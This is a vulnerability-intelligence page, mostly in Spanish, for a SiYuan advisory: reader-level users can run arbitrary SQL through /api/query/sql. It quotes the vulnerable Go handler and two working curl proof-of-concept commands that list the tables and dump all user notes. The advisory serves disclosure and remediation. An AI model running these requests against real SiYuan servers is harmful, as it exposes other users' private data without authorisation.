llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/siyuan-note/siyuan/kernel

GHSA-JQWG-75QF-VMF9

SiYuan's direct SQL Query API accessible to Reader-level users enables unauthorized database access

Sin parche publicado
Descargar PNG JSON
CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición261 dDesde la divulgación, 3 mar 2026, 4:17 p. m.
Detección258 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada
3 mar 26
23 mar 26
17 nov 26
19 nov 26
3 mar 26
8 may 26
12 jul 26
15 sept 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-JQWG-75QF-VMF9 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
/api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any SQL query on the database.

Details

The vulnerable endpoint is in kernel/api/sql.go

func SQL(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)

    arg, ok := util.JsonArg(c, ret)
    if !ok {
        return
    }

    stmt := arg["stmt"].(string)
    result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions
}

The route in kernel/api/router.go only uses CheckAuth middleware

e.g (similar)

ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)
PoC

Start SiYuan with the publish service turned on


# List out all tables in the database

curl -s -u reader_user:reader_pass \
  -X POST "http://127.0.0.1:6808/api/query/sql" \
  -H "Content-Type: application/json" \
  -d '{"stmt": "SELECT name, type FROM sqlite_master WHERE type='"'"'table'"'"'"}'


# Extract all user content from the database

curl -s -u reader_user:reader_pass \
  -X POST "http://127.0.0.1:6808/api/query/sql" \
  -H "Content-Type: application/json" \
  -d '{"stmt": "SELECT id, content FROM blocks"}'

### Impact
- High impact, reader users can query all data in the db including other users notes
- SQL api is mostly for select queries, but without validation, writes can still happen
- Malicious SQL can lead to serious performance issues

this is an auth bypass, the sql feature is for power users but even readers can use it

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
github.com/siyuan-note/siyuan/kernel≤ 0.0.0-20260113130602-4ba64580c29c
0.0.0-20260113130602-4ba64580c29c
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/siyuan-note/siyuan/kernel
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-29073
Otrahttps://github.com/siyuan-note/siyuan/security/advisories/GHSA-jqwg-75qf-vmf9
Otrahttps://github.com/siyuan-note/siyuan

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.